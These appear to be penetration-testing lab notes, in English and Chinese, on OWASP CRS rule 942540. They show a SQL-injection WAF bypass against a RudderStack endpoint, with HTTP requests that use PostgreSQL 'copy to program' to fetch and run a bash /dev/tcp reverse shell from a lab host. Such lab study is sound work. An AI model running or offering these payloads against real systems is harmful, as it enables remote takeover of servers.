# Any characters after the semi-colon are ignored by some DBMSes (e.g. SQLite).
#
# An example of this would be:
# email=admin%40juice-sh.op';&password=foo
#
# The server then turns this into:
# SELECT * FROM users WHERE email='admin@juice-sh.op';' AND password='foo'
#
# Regular expression generated from regex-assembly/942540.ra.
# To update the regular expression run the following shell script
# (consult https://coreruleset.org/docs/development/regex_assembly/ for details):
# crs-toolchain regex update 942540
#
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx ^(?:[^']*'|[^\"]*\"|[^`]*`)[\s\v]*;" \
"id:942540,\
phase:2,\
block,\
capture,\
t:none,t:urlDecodeUni,t:replaceComments,\
msg:'SQL Authentication bypass (split query)',\
logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-sqli',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/248/66',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/4.0.0-rc2',\
severity:'CRITICAL',\
setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
ModSecurity / CRS Rule Syntax
- Rule Structure
inspect target
↓
apply operator
↓
if matched
↓
take action

Inspect Target:
REQUEST_COOKIES,ARGS,ARGS_NAMES,XML代表 WAF 會檢查 Cookie, Parameter, JSON body, XMLOperator:
@rxregex Regex: (以 SecRule 開頭)
^(?:[^']*'|[^\"]*\"|[^`]*`)[\s\v]*;
quote + semicolon
這條 rule 實際上在擋 stacked query injection 在t:none,t:urlDecodeUni,t:replaceComments,表示 URL decode 後再比對,且會移除 comments
Bypassing the WAF
在嘗試 Bypass 前可以利用 regex101 測試正規表達式
{ "source_id":"' or 1=2; copy (select 'a') to program 'wget -q http://192.168.45.189:9000/it_will_bypass' -- - ", "task_run_id":"1"}

成功繞過 WAF
- Reverse shell:
- 下載 /go 到 /tmp/go
POST /v1/warehouse/pending-events?triggerUpload=true HTTP/1.1
Host: rudderstack
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 122
{
"source_id":"' or 1=2; copy (select 'a') to program 'wget -q -P/tmp http://192.168.45.189:9000/go' -- -",
"task_run_id":"1"
}
- 執行 /tmp/go
POST /v1/warehouse/pending-events?triggerUpload=true HTTP/1.1
Host: rudderstack
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 95
{
"source_id":"' or 1=2; copy (select 'a') to program 'sh /t??/go' -- -",
"task_run_id":"1"
}
go 檔案內容是:
#!/bin/sh
bash -c 'bash -i >& /dev/tcp/192.168.45.189/8888 0>&1'
為什麼可以繞過:
CRS rule 主要抓這種 pattern:引號後面接空白再接分號
^(?:[^']*'|[^\"]*\"|[^`]*`)[\s\v]*;
原本這種比較容易被擋:
' or 1=2; copy ... to program 'wget ... -O /tmp/rs.sh' -- -
但實際繞過的關鍵不是完全避開第一個 SQL 分號,因為已確認 wget http://.../it_will_bypass 本來就能過
真正被擋的是後面 command 裡的高風險特徵,例如:
-O /tmp/rs.sh
; sh /tmp/rs.sh
/dev/tcp
|
/tmp/...
所以拆成兩段:
- 下載階段只用單純 wget -q -P/tmp http://.../go
- 不用 -O /tmp/xxx
- 不在同一個 command 裡接 ; sh ...
- 目標端會把檔案存成 /tmp/go
- 執行階段用 sh /t??/go
- shell 會把 /t??/go 展開成 /tmp/go
- request body 裡不直接出現 /tmp
- command 很短,沒有 pipe、redirection、/dev/tcp 等明顯特徵
真正的 reverse shell 字串藏在下載下來的 go 檔案裡,不出現在被 WAF 檢查的 request body 因此成功繞過
Conclusion

FROM Learning Module : "Do not give up, and always remember to Try Harder."
